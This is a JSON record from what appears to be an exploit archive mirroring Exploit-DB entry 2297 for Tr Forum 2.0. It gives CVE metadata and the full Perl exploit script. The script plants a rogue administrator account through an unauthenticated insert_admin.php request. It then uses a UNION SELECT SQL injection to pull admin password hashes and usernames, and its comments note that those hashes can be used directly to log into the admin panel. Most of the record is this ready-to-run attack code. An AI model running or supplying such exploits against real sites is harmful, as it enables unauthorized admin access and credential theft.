{"exploit":{"id":"EDB-2297","name":"TR Forum 2.0 - SQL Injection (SQLi) / Bypass Security Restriction","description":"TR Forum 2.0 - SQL Injection (SQLi) / Bypass Security Restriction","cves":["CVE-2006-4586","CVE-2006-4584"],"author":"DarkFig","published":"2006-09-04","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2297","path":"exploits/php/webapps/2297.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2297.pl","vulnerabilities":[{"id":"CVE-2006-4586","state":"PUBLISHED","title":null,"titleSource":null,"description":"The admin panel in Tr Forum 2.0 accepts a username and password hash for authentication, which allows remote authenticated users to perform unauthorized actions, as demonstrated by modifying user settings via the id parameter to /membres/modif_profil.php, and changing a password via /membres/change_mdp.php. NOTE: this can be leveraged with other Tr Forum vulnerabilities to allow unauthenticated attackers to gain privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4586","cvss":{"version":"2.0","baseScore":5.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4586"},"updatedAt":"2024-08-07T19:14:47.567Z","retrievedAt":"2026-11-27T02:06:30.498Z","stale":false,"error":null},{"id":"CVE-2006-4584","state":"PUBLISHED","title":null,"titleSource":null,"description":"Tr Forum 2.0 allows remote attackers to bypass authentication and add an administrative account via the login and password parameters to admin/insert_admin.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4584","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4584"},"updatedAt":"2024-08-07T19:14:47.633Z","retrievedAt":"2026-11-27T02:23:07.132Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2297.png?v=2","url":"https://exploitbin.com/exploits/EDB-2297","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2297/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2297/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# Affected.scr..: Tr Forum V2.0\n# Poc.ID........: 10060903\n# Type..........: SQL Injection, Bypass Security Restriction\n# Risk.level....: Medium\n# Vendor.Status.: Unpatched\n# Src.download..: comscripts.com/scripts/php.tr-forum.1579.html\n# Poc.link......: acid-root.new.fr/poc/10060903.txt\n# Credits.......: DarkFig\n#\n# /membres/modif_profil.php => Profil modification (you can choose the id of the member)\n# /membres/change_mdp.php   => Password modification ( same... )\n# /admin/insert_admin.php   => Second admin (only del post)\n# /admin/editer.php         => SQL Injection without quote\n#\n# You don't need to crack passwd hashes (for the admin panel)...\n# Go to the admin panel (/admin/), enter the username and the hash (not the passwd)... bad security =(\n# This exploit is FOR EDUCATIONAL PURPOSE ONLY x 999\n#\nuse LWP::UserAgent;\nuse HTTP::Cookies;\nuse HTTP::Request::Common \"POST\";\nuse HTTP::Response;\nuse Getopt::Long;\nuse strict;\n\nprint STDOUT \"\\n+\", '-' x 53, \"+\\n\";\nprint STDOUT \"|    Tr Forum V2.0 Admin MD5 Passwd Hash Disclosure   |\\n\";\nprint STDOUT '+', '-' x 53, \"+\\n\";\n\nmy($host,$path,$proxh,$proxu,$proxp);\nmy $opt = GetOptions(\n   'host=s'   =>  \\$host,\n   'path=s'   =>  \\$path,\n   'proxh=s'  =>  \\$proxh,\n   'proxu=s'  =>  \\$proxu,\n   'proxp=s'  =>  \\$proxp);\n\nif(!$host) {\n    print STDOUT \"| Usage: ./xx.pl --host=[www] --path=[/] [Options]    |\\n\";\n    print STDOUT \"| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |\\n\";\n    print STDOUT '+', '-' x 53, \"+\\n\";\n    exit(0);\n}\n\nif($host  !~ /http/) {$host = 'http://'.$host;}\nif($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}\nif(!$path) {$path = '/';}\n\nprint STDOUT \" [!]Host..: $host\\n\";\nprint STDOUT \" [!]Path..: $path\\n\";\nprint STDOUT \" [~]Admin user...\\n\";\nsleep(1);\n\nmy $cc = HTTP::Cookies->new();\nmy $ua = LWP::UserAgent->new();\n   $ua->cookie_jar($cc);\n   $ua->agent('0xzilla');\n   $ua->timeout(30);\n   $ua->proxy(['http'] => $proxh) if $proxh;\n\nmy $re = POST $host.$path.'/admin/insert_admin.php',[\n         'login'    => 'AcidSploitWasHere',\n         'password' => 'psychopasswd',\n         'mail'     => 'nospam@bot.com',\n         ];\n   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;\n   $ua->request($re);\n\nprint STDOUT \" [+]User..: AcidSploitWasHere\\n\";\nprint STDOUT \" [+]Pass..: psychopasswd\\n\";\nprint STDOUT \" [!]Rights: 2 (medium)\\n\";\nprint STDOUT \" [~]Collecting admin's hash/username...\\n\";\nsleep(1);\n\nmy $re = POST $host.$path.'index.php',[\n         'login'   => 'AcidSploitWasHere',\n         'pwd'     => 'psychopasswd',\n        ];\n   $ua->request($re);\n\nmy $re = $ua->get($host.$path.'admin/editer.php?id2=-1 UNION SELECT pass,pseudo,0 FROM tr_user_forum');\n\nif($re->content =~ /\">([a-z0-9]{32})<\\/font>/) {\n                print STDOUT \"\\n \".$1.'::';}\n\nif($re->content =~ /;\">(.*?)<\\/textarea>/) {\n                print STDOUT $1.' (root)';}\n\nprint STDOUT \"\\n+\", '-' x 53, \"+\\n\";\nexit(0);\n\n# milw0rm.com [2006-09-04]","sha256":"138093edd0cb2db015f70b717f33ec71b1bbe042f431dbf67cbe937489a0c04b","bytes":2961,"fetchedAt":"2026-11-27T02:06:24.456Z","encoding":"utf-8 (display only; download retains original bytes)"}